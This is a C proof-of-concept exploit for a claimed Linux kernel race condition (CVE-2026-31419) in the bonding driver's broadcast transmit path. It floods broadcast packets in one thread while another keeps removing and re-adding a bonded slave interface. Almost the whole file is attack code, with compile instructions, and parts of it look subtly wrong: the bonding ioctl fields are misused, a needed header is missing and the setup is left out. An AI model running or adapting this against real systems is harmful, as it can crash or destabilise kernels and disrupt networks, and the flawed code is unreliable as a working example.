/*
* PoC for CVE-2026-31419: Race condition in bond_xmit_broadcast
* This code creates a bond interface, adds slaves, and triggers
* the race by sending broadcast packets while modifying slaves.
*
* Compile: gcc -o poc_bond poc_bond.c -lpthread
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <linux/if.h>
#include <linux/if_bonding.h>
#include <pthread.h>
#define BOND_NAME "bond0"
#define SLAVE1 "eth0"
#define SLAVE2 "eth1"
void send_broadcast_packets() {
int sock = socket(AF_INET, SOCK_DGRAM, 0);
struct sockaddr_in addr;
char buf[1024];
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(12345);
addr.sin_addr.s_addr = htonl(INADDR_BROADCAST);
// Enable broadcast
int broadcast = 1;
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, &broadcast, sizeof(broadcast));
while (1) {
sendto(sock, buf, sizeof(buf), 0, (struct sockaddr*)&addr, sizeof(addr));
}
}
void toggle_slaves() {
struct ifreq ifr;
int sock = socket(AF_INET, SOCK_DGRAM, 0);
while (1) {
// Remove slave
strcpy(ifr.ifr_name, BOND_NAME);
ifr.ifr_data = SLAVE1;
ioctl(sock, SIOCBONDRELEASE, &ifr);
usleep(100); // Short delay to increase window
// Add slave back
strcpy(ifr.ifr_name, SLAVE1);
ioctl(sock, SIOCBONDENSLAVE, &ifr);
}
}
int main() {
pthread_t t1, t2;
// Setup code to create bond0 and enslave eth0/eth1 would go here
// Assuming system is already configured or configured via shell before
printf("Starting PoC for CVE-2026-31419...\n");
pthread_create(&t1, NULL, (void*)send_broadcast_packets, NULL);
pthread_create(&t2, NULL, (void*)toggle_slaves, NULL);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
return 0;
}